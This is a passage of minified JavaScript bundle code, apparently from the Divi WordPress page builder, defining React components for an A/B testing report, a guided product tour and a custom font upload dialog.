r.a.createElement("li",{key:e+"-legend-"+o},r.a.createElement("span",{style:{backgroundColor:a}}),r.a.createElement("a",{href:"#subject",style:s,"data-subject-id":g()(n,"attrs.ab_subject_id"),"data-tab-name":e,onClick:t._handleFilterSubjectChange},B.a.abGetSubjectLabel(n)))}),o=w()(g()(this.getLineChartData(),"datasets"))?r.a.createElement("div",{className:"et-fb-ab-testing-report-chart"}):r.a.createElement("canvas",{id:"et-fb-ab-testing-report-pie-"+e,className:"et-fb-ab-testing-report-pie",width:"200",height:"200"});return r.a.createElement("div",{className:"et-fb-ab-testing-report-pie--wrapper"},o,r.a.createElement("ul",{className:"et-fb-ab-testing-report-pie--legend"},n))}},{key:"render",value:function(){var e=this,t=this,n=P()(this.tabList,function(e){return!("conversions"===e&&!t.hasConversion)&&(!("shortcode_conversions"===e&&!t.hasShortcodeConversions)&&r.a.createElement(K.a,{key:"abTesting-report-nav-"+e},g()(J,["abTesting","reportTabNavs",e])))}),o=P()(this.tabList,function(n){return!("conversions"===n&&!t.hasConversion)&&(!("shortcode_conversions"===n&&!t.hasShortcodeConversions)&&e.renderTabPanel(n))});return r.a.createElement(z.a,{fullscreen:!0,headerButtons:this.headerButtons(),footerButtons:[r.a.createElement(H.a,{block:!0,info:!0,buttonName:G.a.BUTTON_AB_DISABLE},D()(g()(J,"abTesting.reportEndTestButton")))],label:g()(J,"abTesting.reportTitle"),onRest:this._onMotionRest,animate:this.props.animate},r.a.createElement(K.d,{selectedIndex:0,onSelect:this._handleTabSwitch},r.a.createElement(K.b,{disableScroll:!1},n),o))}}]),n}();Z.propTypes=Q,Z.defaultProps={animate:!0},t.default=Z}.call(this,n(24))},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=(n(1504),n(7)),a=n.n(i),s=n(2),l=n.n(s),u=n(31),c=n.n(u),d=n(95),p=n.n(d),f=n(38),h=n.n(f),m=n(8),g=n.n(m),v=n(477),b=n.n(v),y=n(98),_=n.n(y),k=n(191),w=n.n(k),C=n(29),E=n.n(C),O=n(69),S=n.n(O),T=n(65),M=n.n(T),x=n(10),P=n.n(x),j=n(140),L=n.n(j),N=n(85),D=n.n(N),A=n(1262),F=n(3),I=n(12),R=n(0),B=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var W=R.default.$appWindow("body"),V=R.default.$topWindow("body"),H=R.default.condition("is_bfb"),G=function(t){function n(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var t=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));t.getElementOffset=function(e){var t={top:100,left:0,usePrevElementPosition:!1};switch(e){case"loadLayout":case"openHistory":case"pageSettings":t={left:-50,top:H?130:80};break;case"selectLayoutPack":t={left:850,top:-330,usePrevElementPosition:!0};break;case"loadLayoutItem":t={left:0,top:150,usePrevElementPosition:!0};break;case"addSection":t={left:-240,top:100};break;case"selectSectionType":t={left:600,top:150};break;case"selectModule":t={left:600,top:19};break;case"selectRow":t={left:-500,top:163};break;case"configureModule":t={left:590,top:-700};break;case"saveModule":t={left:630,top:-878};break;case"duplicateModule":t={left:410,top:247};break;case"rightClickCopy":t={left:440,top:255};break;case"moveModule":t={left:810,top:260};break;case"rightClickPaste":t={left:-300,top:307};break;case"rowOptions":t={left:367,top:250};break;case"editRow":t={left:590,top:-710};break;case"saveRow":t={left:320,top:-879};break;case"tabletPreview":t={left:50,top:75};break;case"desktopPreview":t={left:100,top:75};break;case"editHistory":t={left:320,top:-879};break;case"savePage":t={left:-125,top:95}}return t},t.disableFullscreenMenu=function(){e(".et_header_style_fullscreen .et_slide_in_menu_container").removeClass("et_pb_fullscreen_menu_opened"),W.removeClass("et_pb_fullscreen_menu_active")},t.disableSlideMenu=function(){var t=e(".et_header_style_slide .et_slide_in_menu_container");return t.hasClass("et_pb_slide_menu_opened")?t.removeClass("et_pb_slide_menu_opened"):t.addClass("et_pb_slide_menu_opened"),!1},t.isFalse=function(e){return!1===e},t.productTourLocalization=ETBuilderBackend.i18n.productTourText;var o={__html:t.productTourLocalization.start.description},i=r.a.createElement("div",{className:"et-fb-product-tour-text",dangerouslySetInnerHTML:o});if(t.state={isActive:!0,modalContent:i,modalTitle:t.productTourLocalization.start.title,endButtonText:t.productTourLocalization.start.endButtonText,skipButtonText:t.productTourLocalization.start.skipButtonText,tourElement:"start",autoLoadDemo:!1,modalPosition:{top:1e3,left:1e3,element:!1}},t.stepsSequence=t.getAvailableTourItems(),t.appliedModalOffsets={},t.skipToArray={start:"loadLayout",moveModule:"rightClickCopy",rightClickCopy:"rowOptions",rightClickPaste:"rowOptions",rowOptions:"pageSettings",tabletPreview:"desktopPreview",desktopPreview:"openHistory",openHistory:"savePage",savePage:"finish"},t.absolutelyPositionedElements=["addSection","selectModule","selectSectionType","selectRow","rowOptions","rightClickPaste","rightClickCopy","moveModule","duplicateModule"],H){t.absolutelyPositionedElements=D()(t.absolutelyPositionedElements,["loadLayout","tabletPreview","desktopPreview","openHistory","savePage"]),t.skipToArray.rowOptions="tabletPreview"}return t.onClose=t.onClose.bind(t),t.nextTip=t.nextTip.bind(t),t.nextTourContent=t.nextTourContent.bind(t),t.skipTip=t.skipTip.bind(t),t.isTourButtonClicked=t.isTourButtonClicked.bind(t),t.getActiveElementPosition=t.getActiveElementPosition.bind(t),t.getAvailableTourItems=t.getAvailableTourItems.bind(t),t.autoloadLayout=t.autoloadLayout.bind(t),t.setAfterMoveStep=t.setAfterMoveStep.bind(t),t.maybeScroll=t.maybeScroll.bind(t),t.maybeAddScrollbar=t.maybeAddScrollbar.bind(t),t}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),B(n,[{key:"componentDidMount",value:function(){var t=this,n=this;(W.add(V).on("click mouseup mousedown","*",n.isTourButtonClicked),W.add(V).on("mouseup click",".et-fb-product-tour-element",function(t){"mouseup"===t.type&&"selectRow"!==n.state.tourElement||e(this).hasClass("et_fb_move_module_handler")||e(this).hasClass("et-fb-product-tour-element-text")||setTimeout(n.nextTip,0)}),W.add(V).on("keyup",".et-fb-product-tour-element-text",function(){setTimeout(n.nextTip,0)}),W.add(V).on("mouseup",".et-fb-product-tour-secondary-element",function(){I.b.setActiveTourElement(n.state.tourElement,!0)}),W.add(V).on("mousedown",".et_fb_move_module_handler.et-fb-product-tour-element",function(){n.nextTip()}),W.add(V).on("et_fb_product_tour_element_clicked",function(){return setTimeout(t.nextTip,0)}),R.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app").append('<div class="et-core-modal-overlay et-fb-product-tour-overlay et-core-active"></div>'),e(".et_search_form_container").length>0&&e(".et_search_form_container").addClass("et_pb_is_animating"),e(".et_header_style_slide .et_slide_in_menu_container").length>0)&&(e(".et_header_style_slide .et_slide_in_menu_container").addClass("et_pb_slide_menu_opened"),e("#main-header").on("click",".et_toggle_slide_menu",n.disableSlideMenu));e(".et_header_style_fullscreen .et_slide_in_menu_container").length>0&&e("#page-container").on("click",".et_toggle_fullscreen_menu",n.disableFullscreenMenu),F.a.addProductTourMoveFinishedListener(this.setAfterMoveStep),V.on("click",".et-fb-tour-video-overlay",function(){var t=e(this),n=t.data("video");t.replaceWith('<iframe width="200" height="150" src="'+n+'" frameborder="0" allowfullscreen></iframe>')}),V.on("mousedown, click, mouseup","#publishing-action.et-fb-product-tour-element",function(e){return e.preventDefault(),!1}),this.shortThrottleReset=L()(this.maybeAddScrollbar,100),R.default.appWindow().addEventListener("resize",this.shortThrottleReset),this.maybeAddScrollbar()}},{key:"componentWillUnmount",value:function(){F.a.removeProductTourMoveFinishedListener(this.setAfterMoveStep),R.default.appWindow().removeEventListener("resize",this.shortThrottleReset),W.off("click mouseup mousedown","*",this.isTourButtonClicked),W.off("et_fb_product_tour_element_clicked")}},{key:"onClose",value:function(){I.b.endProductTour();(R.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app").find(".et-fb-product-tour-overlay").remove(),e(".et_search_form_container").length>0&&e(".et_search_form_container").removeClass("et_pb_is_animating"),e(".et_header_style_slide .et_slide_in_menu_container").length>0)&&(e(".et_header_style_slide .et_slide_in_menu_container").removeClass("et_pb_slide_menu_opened"),W.removeClass("et_pb_slide_menu_active"),e("#main-header").off("click",".et_toggle_slide_menu",this.disableSlideMenu));e(".et_header_style_fullscreen .et_slide_in_menu_container").length>0&&e("#page-container").off("click",".et_toggle_fullscreen_menu",this.disableFullscreenMenu),this.setState({isActive:!1}),W.off("click mouseup mousedown ondragstart","*",this.isTourButtonClicked)}},{key:"getActiveElementPosition",value:function(e){var t=this.state.modalPosition,n=0===R.default.$appWindow(".et-fb-product-tour-element").length,o=n?R.default.$topWindow(".et-fb-product-tour-element"):R.default.$appWindow(".et-fb-product-tour-element"),r=t,i=this.getElementOffset(e),s=H?R.default.$topWindow("#et-bfb-app-frame").offset():0,u=n&&!H?R.default.$appWindow().scrollTop():0;if(!i.usePrevElementPosition&&o.length>0&&(r=o.offset(),o.closest(".et-fb-page-settings-bar").length>0))if(H)o.closest(".et-fb-page-settings-bar__column--left").length>0&&(r.top-=s.top,r.left-=200);else{var c=o.closest(".et-fb-page-settings-bar");r.top=c.position().top-100}a()(r)?this.setState({isActive:!0}):(r.top+=u,l()(this.appliedModalOffsets,e)?r=this.appliedModalOffsets[e]:(r.element=!1,r.top+=b()(l()(i,"top",0)),r.left+=b()(l()(i,"left",0)),this.appliedModalOffsets[e]=r),H&&n&&(o.closest(".et-fb-modal__module-settings").length>0||o.closest(".et-fb-tooltip-modal").length>0||o.closest(".et-fb-right-click-menu").length>0)&&(r.top-=b()(s.top)+200),this.setState({modalPosition:r,isActive:!0}))}},{key:"getAvailableTourItems",value:function(){var e=!1,t=!1,n=!1,o=F.a.isAllowedAction("divi_library")&&F.a.isAllowedAction("load_layout"),r=F.a.isAllowedAction("add_module"),i=F.a.isAllowedAction("edit_module"),a=F.a.isAllowedAction("move_module"),s=F.a.isAllowedAction("general_settings"),l=F.a.isAllowedAction("advanced_settings"),u=F.a.isAllowedAction("custom_css_settings");if(F.a.isAllowedAction("et_pb_blurb"))e=!0,F.a.setProductTourModuleName("et_pb_blurb");else{var c,d=S()(ETBuilderBackend.modules,{is_parent:"on"});c=M()(d,function(e){return!P()(["et_pb_section","et_pb_row","et_pb_row_inner","et_pb_column","et_pb_column_inner"],e.label)&&F.a.isAllowedAction(e.label)}),g()(c)||(F.a.setProductTourModuleName(c.label),e=!0)}(s||l||u)&&(t=!(!F.a.isAllowedAction("general_settings")&&!F.a.isAllowedAction("custom_css_settings")),n=!0);var p={start:!0,loadLayout:o,selectLayoutPack:o,loadLayoutItem:o,addSection:e&&r,selectSectionType:e&&r,selectRow:e&&r,selectModule:e&&r,configureModule:e&&r&&t,saveModule:e&&r,duplicateModule:e&&r,moveModule:a,rightClickCopy:r,rightClickPaste:r,rowOptions:i&&n,editRow:i&&n,saveRow:i&&n,pageSettings:!R.default.condition("is_bfb"),tabletPreview:!0,desktopPreview:!0,openHistory:!0,editHistory:!0,savePage:!0,finish:!0};return E()(w()(p,this.isFalse))}},{key:"setAfterMoveStep",value:function(){var e=l()(this.stepsSequence,_()(this.stepsSequence,"moveModule")+1,"");F.a.setProductTourElementReady(e)}},{key:"autoloadLayout",value:function(e){if((this.state.autoLoadDemo||e)&&!g()(results)){var t=results.pop();this.setState({autoLoadDemo:!1}),t[0].savedShortcode=t[0].shortcode,F.a.loadSavedLayoutFromComponent(t[0],!0),setTimeout(function(){F.a.replacePageContent(),F.a.setProductTourElementReady("predefined_layouts"),R.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app").find(".et-fb-product-tour-overlay").remove()},1e3)}}},{key:"isTourButtonClicked",value:function(t){var n=this.state.tourElement;if("mouseup"===t.type&&"moveModule"===n)return!0;var o=e(t.target);return o.closest(".et-builder-bfb-welcome-modal, .et-theme-builder-no-post-content").length>0||(!(0===o.closest(".et-fb-product-tour-element, .et-fb-product-tour-secondary-element, .et-fb-tooltip--product-tour, .et-fb-modal__module-settings, .et-fb-modal-history, .et-fb-tour-video-overlay, #wpadminbar, .et-fb-product-tour-secondary-element-hidden").length||o.closest(".et-fb-modal__footer, .et-fb-modal__badge").length>0&&0===o.closest(".et-fb-product-tour-element, .et-fb-product-tour-secondary-element, .et-fb-product-tour-secondary-element-hidden").length)||(t.preventDefault(),t.stopPropagation(),!1))}},{key:"maybeAddScrollbar",value:function(){var t=this.state.tourElement,n=e(".et-fb-tooltip--product-tour--centered"),o=R.default.$appWindow().height();this.getActiveElementPosition(t),800>o?n.addClass("et-core-modal-enabled-scrollbar"):n.removeClass("et-core-modal-enabled-scrollbar")}},{key:"maybeScroll",value:function(){var e=this.state.tourElement,t=H?"top":"app";if("selectModule"===e&&R.default.$topWindow(".et-fb-settings-options-wrap").animate({scrollTop:150},400),"editRow"===e&&R.default.$topWindow(".et-fb-tabs__panel--general").animate({scrollTop:452},400),P()(this.absolutelyPositionedElements,e)){var n=R.default.$topWindow(".et-fb-tooltip--product-tour").length>0?R.default.$topWindow(".et-fb-tooltip--product-tour"):R.default.$appWindow(".et-fb-tooltip--product-tour");if(n.length>0){var o=R.default.$topWindow().height(),r=("top"===t?R.default.$topWindow().scrollTop():R.default.$appWindow().scrollTop())+o,i=n.innerHeight(),a=n.offset().top,s=H?90:0,l=0===R.default.$appWindow(".et-fb-product-tour-element").length?R.default.$topWindow(".et-fb-product-tour-element"):R.default.$appWindow(".et-fb-product-tour-element"),u=H&&l.closest(".et-fb-page-settings-bar").length>0;if(r<a+i+s||u){var c=a-i/2-s;("top"===t?R.default.$topWindow("html, body"):R.default.$appWindow("html, body")).animate({scrollTop:c<0?0:c},500,"swing")}}}else this.maybeAddScrollbar()}},{key:"nextTip",value:function(e){var t=this,n=this.state.tourElement,o=l()(this.stepsSequence,_()(this.stepsSequence,n)+1,"");if(e)if(c()(this.skipToArray,n)){var r=this.skipToArray[n];if(-1===_()(this.stepsSequence,r))for(;-1===_()(this.stepsSequence,r);)r=c()(this.skipToArray,r)?this.skipToArray[r]:o;o=r}else if(P()(["selectLayoutPack","loadLayoutItem"],n)){var i="loadLayoutItem"===n?"button:last-child":"";R.default.$appWindow().trigger("et-fb-product-tour-skip",i)}else{(0===R.default.$appWindow(".et-fb-product-tour-element").length?R.default.$topWindow(".et-fb-product-tour-element"):R.default.$appWindow(".et-fb-product-tour-element")).trigger("click"),"pageSettings"===n&&I.b.settingsBarToggleStatus("active")}var a=!1,s=!1,u=[];switch("loadLayoutItem"===n&&I.b.settingsBarToggleStatus("inactive"),o){case"loadLayout":R.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app").find(".et-fb-product-tour-overlay").remove(),I.b.settingsBarToggleStatus("active");break;case"selectLayoutPack":case"loadLayoutItem":a=!0,u.push(o);break;case"moveModule":case"rowOptions":case"rightClickCopy":"not_set"===F.a.getProductTourModule()&&F.a.setProductTourModule(),"moveModule"!==n||e||u.push(o);break;case"savePage":H&&R.default.$topWindow("#publishing-action").addClass("et-fb-product-tour-element");break;case"finish":H&&R.default.$topWindow("#publishing-action").removeClass("et-fb-product-tour-element"),R.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app").append('<div class="et-core-modal-overlay et-fb-product-tour-overlay et-core-active"></div>')}if(P()(["moveModule","loadLayoutItem"],n)&&(a=!0,s=!0,"loadLayoutItem"===n&&u.push("addSection")),"start"===n&&"loadLayout"!==o&&(u.push("predefined_layouts"),a=!0,"pageSettings"===o&&(s=!0),this.setState({autoLoadDemo:!0}),F.a.activateGlobalPreloader(),F.a.emitPreloaderInProcess(),this.autoloadLayout(!0)),this.setState({isActive:!1}),s||setTimeout(function(){I.b.setActiveTourElement(o)},0),a)this.waitProductTourElement(u,o,s);else{var d=P()(["rightClickCopy","rightClickPaste"],n)?800:500;setTimeout(function(){t.nextTourContent(o)},d)}}},{key:"nextTourContent",value:function(e){var t=this,n=l()(this.productTourLocalization,[e,"endButtonText"],this.productTourLocalization.endButtonTextDefault),o=l()(this.productTourLocalization,[e,"skipButtonText"],this.productTourLocalization.skipButtonTextDefault),i=l()(this.productTourLocalization,[e,"title"],""),a=l()(this.productTourLocalization,[e,"description"],!1);setTimeout(function(){t.getActiveElementPosition(e)},200);var s={__html:a};a=r.a.createElement("div",{className:"et-fb-product-tour-text",dangerouslySetInnerHTML:s}),this.setState({tourElement:e,modalContent:a,modalTitle:i,endButtonText:n,skipButtonText:o}),setTimeout(this.maybeScroll,1e3)}},{key:"skipTip",value:function(){this.nextTip(!0)}},{key:"waitProductTourElement",value:function(e,t,n){var o=this,r=F.a.getProductTourElementReady();if(h()(e,p()(r,e)))return n&&I.b.setActiveTourElement(t),void this.nextTourContent(t);setTimeout(function(){o.waitProductTourElement(e,t,n)},1e3)}},{key:"render",value:function(){var e=this.state,t=e.endButtonText,n=e.isActive,o=e.modalContent,i=e.modalTitle,a=e.modalPosition,s=e.skipButtonText,l=e.tourElement;if(!n)return!1;var u="finish"===l?"":r.a.createElement("a",{href:"#",className:"et-core-modal-action et-core-modal-action-dont-restore et-core-modal-action-secondary",onMouseUp:this.skipTip},s),c=r.a.createElement("div",{className:"et-fb-tour-buttons"},r.a.createElement("a",{href:"#",className:"et-core-modal-action et-core-modal-action-dont-restore",onClick:this.onClose},t),u),d=!P()(this.absolutelyPositionedElements,l),p={"et-fb-tooltip--no-arrow":!0,"et-fb-tooltip--product-tour":!0,"et-fb-tooltip--product-tour--centered":"start"===l||"finish"===l,"et-fb-tooltip--product-tour--finish":"finish"===l},f="start"===l||"finish"===l,h=0===R.default.$appWindow(".et-fb-product-tour-element").length;return r.a.createElement(A.default,{active:n,actionType:"custom_content",tooltipTitle:i,_closeFunction:this.onClose,classNames:p,modalPosition:a,forceFixedPosition:d,modalWidth:340,enableContextMenu:!0,ignorePosition:f,movable:!f,buttons:c,renderInsideApp:!h&&!H},r.a.createElement("div",null,o))}}]),n}();t.default=G}.call(this,n(24))},function(e,t,n){"use strict";n.r(t),function(e){var o=n(1),r=n.n(o),i=n(4),a=n.n(i),s=(n(22),n(1505),n(8)),l=n.n(s),u=n(2),c=n.n(u),d=n(34),p=n.n(d),f=n(7),h=n.n(f),m=n(10),g=n.n(m),v=n(110),b=n.n(v),y=n(124),_=n.n(y),k=n(11),w=n.n(k),C=n(140),E=n.n(C),O=n(209),S=n.n(O),T=n(286),M=n.n(T),x=(n(89),n(228)),P=n.n(x),j=n(84),L=n.n(j),N=n(62),D=n(305),A=n(40),F=n(1282),I=n(639),R=n(1262),B=n(727),W=n(3),V=(n(19),n(12)),H=n(0),G=function(){function e(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}return function(t,n,o){return n&&e(t.prototype,n),o&&e(t,o),t}}();var U={active:a.a.bool},z=H.default.$topWindow("body"),q=ETBuilderBackend.i18n.fonts,K=ETBuilderBackend.allFontWeights,$=ETBuilderBackend.allFontFormats,X=function(t){function n(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n);var e=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(n.__proto__||Object.getPrototypeOf(n)).call(this));return e.state={fontFilesData:{},fontError:"",errorElements:[],fontName:"",fontProcessing:!1,selectedFontWeightsAll:"on",selectedFontWeights:"",activeDescription:null,hoveredGroup:null},e._onFileUpload=e._onFileUpload.bind(e),e.onUpload=e.onUpload.bind(e),e.onDelete=e.onDelete.bind(e),e._onFontNameInput=e._onFontNameInput.bind(e),e.processFont=e.processFont.bind(e),e.updateFontSettings=e.updateFontSettings.bind(e),e.fontDataValid=e.fontDataValid.bind(e),e.maybeAddScrollbar=e.maybeAddScrollbar.bind(e),e.generateFilesListPreview=e.generateFilesListPreview.bind(e),e.removeFontFile=e.removeFontFile.bind(e),e._onClickHelp=e._onClickHelp.bind(e),e._isDescriptionVisible=e._isDescriptionVisible.bind(e),e._isHoveredGroup=e._isHoveredGroup.bind(e),e}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(n,r.a.Component),G(n,[{key:"componentDidMount",value:function(){var e='<div class="et-core-modal-overlay et-fb-font-upload-overlay et-core-active"></div>';H.default.isLB()?z.find(".et-block-builder-modal").append(e):H.default.isTB()?z.find(".et-tb-branded-modal").append(e):H.default.isFB()?z.find("#et-fb-app").append(e):z.append(e),z.addClass("et-fb-global-scroll-disabled et-fb-has-font-upload-overlay"),this.shortThrottleReset=E()(this.maybeAddScrollbar,100),H.default.appWindow().addEventListener("resize",this.shortThrottleReset),this.maybeAddScrollbar();var t=W.a.getDroploaderPayloadFont();t&&this.setState({fontFilesData:t.fontFilesData,fontName:t.fontName})}},{key:"componentWillUnmount",value:function(){z.removeClass("et-fb-global-scroll-disabled et-fb-has-font-upload-overlay"),H.default.appWindow().removeEventListener("resize",this.shortThrottleReset)}},{key:"_onClickHelp",value:function(e){var t=this.state.activeDescription===e?null:e;this.setState({activeDescription:t})}},{key:"_isDescriptionVisible",value:function(e){return this.state.activeDescription===e}},{key:"_isHoveredGroup",value:function(e){return this.state.hoveredGroup===e}},{key:"maybeAddScrollbar",value:function(){var e=H.default.$topWindow(".et-fb-font-upload-modal");800>H.default.$topWindow().height()?e.addClass("et-core-modal-enabled-scrollbar"):e.removeClass("et-core-modal-enabled-scrollbar")}},{key:"fontDataValid",value:function(e){var t=[],n="";return"add"!==e||(""===this.state.fontName&&t.push("fontName"),l()(this.state.fontFilesData)&&(n=q.noFilesError,t.push("fontFile")),"on"!==this.state.selectedFontWeightsAll&&-1===this.state.selectedFontWeights.indexOf("on")&&t.push("fontWeight"),l()(t)?(this.setState({errorElements:[],fontError:""}),!0):(this.setState({errorElements:t,fontProcessing:!1,fontError:n}),!1))}},{key:"_onFontNameInput",value:function(e,t){var n=M()(this.state.errorElements,function(e){return"fontName"===e});this.setState({fontName:t,errorElements:n})}},{key:"onUpload",value:function(e){e.preventDefault(),this.state.fontProcessing||this.processFont("add")}},{key:"onDelete",value:function(){this.state.fontProcessing||this.processFont("remove",this.props.fontID)}},{key:"getFontWeights",value:function(){if("on"===this.state.selectedFontWeightsAll)return"all";var e=this.state.selectedFontWeights.split("|"),t=0;return b()(p()(K,function(n,o){return"on"===e[++t-1]&&o})).join(",")}},{key:"processFont",value:function(t,n){var o=this,r=h()(n)?o.state.fontName:n,i={};if(o.fontDataValid(t)){o.setState({fontError:"",errorElements:[],fontProcessing:!0}),"add"===t&&(i=JSON.stringify({font_weights:o.getFontWeights(),generic_family:"sans-serif"}));var a=new FormData,s={action:"et_pb_process_custom_font",et_pb_font_action:t,et_fb_upload_font_nonce:ETBuilderBackend.nonces.uploadFontNonce,et_pb_font_name:r,et_pb_font_settings:i};w()(o.state.fontFilesData,function(e,t){s["et_pb_font_file_"+t]=e.file}),e.each(s,function(e,t){a.append(e,t)}),e.ajax({type:"POST",url:ETBuilderBackend.ajaxUrl,contentType:!1,processData:!1,data:a,success:function(e){var n=JSON.parse(e);if(l()(n.error)){if(ETBuilderBackend.customFonts=c()(n,"updated_fonts",ETBuilderBackend.customFonts),o.setState({fontError:"",fontProcessing:!1}),"add"===t&&""!==o.props.callback){var r=c()(n,"uploaded_font","");o.props.callback(r)}o.onClose()}else o.setState({fontError:n.error,fontProcessing:!1})}})}}},{key:"getFontName",value:function(e){return c()(ETBuilderBackend.customFonts,[e,"font_name"],e)}},{key:"onClose",value:function(){V.b.setFontUploaderStatus("disabled"),H.default.$topWindow(".et-fb-font-upload-overlay").remove()}},{key:"_onFileUpload",value:function(e){var t=e.target.files,n=this.state.fontFilesData;if(!(L()(t)<1))if(w()(t,function(e){var t=P()(c()(e,"name",""));w()($,function(o){_()(t,o)&&(n[o]={fileName:t,file:e})})}),l()(n)){var o=q.fileError+". "+q.supportedFiles+": "+$.join(", ");this.setState({fontError:o})}else this.setState({fontFilesData:n,fontError:""})}},{key:"updateFontSettings",value:function(e,t){switch(e){case"et-font-uploader-weights-all":this.setState({selectedFontWeightsAll:t});break;case"et-font-uploader-weights-select":this.setState({selectedFontWeights:t})}}},{key:"removeFontFile",value:function(t){var n=e(t.target).closest(".et-fb-font-files-list-item");if(!(n.length<1)){var o=n.data("file_ext"),r=this.state.fontFilesData;S()(r,o),this.setState({fontFilesData:r})}}},{key:"generateFilesListPreview",value:function(){var e=this;if(l()(this.state.fontFilesData))return!1;var t=p()(this.state.fontFilesData,function(t,n){return r.a.createElement("div",{className:"et-fb-font-files-list-item","data-file_ext":n,key:n},r.a.createElement("span",{className:"et-fb-font-files-list-item-remove",onClick:e.removeFontFile},r.a.createElement(A.a,{icon:"delete",color:N.a.danger})),t.fileName)});return r.a.createElement("div",{className:"et-fb-font-files-list"},r.a.createElement("label",{className:"et-fb-form__label"},r.a.createElement("span",{className:"et-fb-form__label-text"},q.selectedFiles,":")),t)}},{key:"getWeightCheckboxValues",value:function(){var e=[];return w()(K,function(t,n){var o=t+" "+n;e.push({value:t,label:o})}),e}},{key:"render",value:function(){var e={"et-fb-font-upload-modal":!0,"et-fb-font-upload-modal--delete":"delete"===this.props.action,"et-fb-modal-allow-scroll":!0},t=""!==this.state.fontError?r.a.createElement("div",{className:"et-fb-font-upload-error"},this.state.fontError):"",n="";if(this.state.fontProcessing)n=r.a.createElement(D.a,{isLoading:!0});else if("delete"===this.props.action){var o=r.a.createElement("div",{className:"et_pb_prompt_buttons et-fb-font-delete-confirmation"},r.a.createElement("a",{href:"#",className:"et-core-modal-action et-core-modal-action-dont-restore et-core-modal-action-secondary",onClick:this.onClose},q.cancel),r.a.createElement("a",{href:"#",className:"et-core-modal-action et-core-modal-action-restore",onClick:this.onDelete},q.delete));n=r.a.createElement("div",null,r.a.createElement("div",{className:"et-core-modal-content"},q.deleteConfirm+' "'+this.getFontName(this.props.fontID)+'"',"?"),o)}else{var i="on"!==this.state.selectedFontWeightsAll?r.a.createElement(F.a,{options:this.getWeightCheckboxValues(),name:"et-font-uploader-weights-select",_onChange:this.updateFontSettings,value:this.state.selectedFontWeights}):"",a=r.a.createElement("a",{href:"#",className:"et-core-modal-action et-core-modal-action-dont-restore",onClick:this.onUpload},q.upload);n=r.a.createElement("div",null,r.a.createElement("div",{className:"et-core-modal-content et-fb-allow-mouse-wheel"},r.a.createElement("div",{className:"et-core-modal-content-inner et-fb-allow-mouse-wheel-form"},t,r.a.createElement("label",{className:"et-fb-form__label"},r.a.createElement("span",{className:"et-fb-form__label-text"},q.fontNameLabel)),r.a.createElement(I.a,{type:"text",value:this.state.fontName,name:"userFontName",_onChange:this._onFontNameInput,className:!!g()(this.state.errorElements,"fontName")&&"et-fb-font-error-element",additional_attrs:{placeholder:q.fontName}}),r.a.createElement("div",{className:"et-fb-upload-file-container"},r.a.createElement("span",{className:"et-core-portability-import-placeholder"},q.noFile),r.a.createElement("button",{className:"et-fb-button et-fb-button--upload-font et-fb-button--inverse et-fb-settings-button--additional-button"},q.chooseFile),r.a.createElement("input",{type:"file",className:"et-fb-import-file",onChange:this._onFileUpload,accept:".ttf, .otf, .eot, .woff2, .woff",multiple:!0}),r.a.createElement("p",{className:"et-font-uploader-hint"},q.supportedFiles,":"," ",$.join(", "))),this.generateFilesListPreview(),r.a.createElement(B.c,{name:"et-font-uploader-weight",activeHelp:this._isDescriptionVisible("et-font-uploader-weight"),hoveredGroup:!0,key:"et-font-uploader-weight-label",onClickHelp:this._onClickHelp},q.weightsSupport),r.a.createElement(B.a,{active:this._isDescriptionVisible("et-font-uploader-weight"),key:"et-font-uploader-weight-desc"},q.weightsHelp),r.a.createElement("div",{className:g()(this.state.errorElements,"fontWeight")?"et-fb-font-error-element":""},r.a.createElement(F.a,{options:[q.all],_onChange:this.updateFontSettings,name:"et-font-uploader-weights-all",value:this.state.selectedFontWeightsAll}),i))),a)}var s="delete"===this.props.action?q.delete:q.upload,l=!!H.default.condition("is_bfb")&&H.default.$topWindow(ETBuilderBackend.css.layoutPrefix+" #et-fb-app");return r.a.createElement(R.default,{active:!0,actionType:"custom_content",tooltipTitle:s+" "+q.font,_closeFunction:this.onClose,classNames:e,ignorePosition:!0,enableContextMenu:!0,movable:!1,tooltipModalContainer:l},n)}}]),n}();X.propTypes=U,X.defaultProps={active:!1},t.default=X}.call(this,n(24))},function(e,t,n){
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
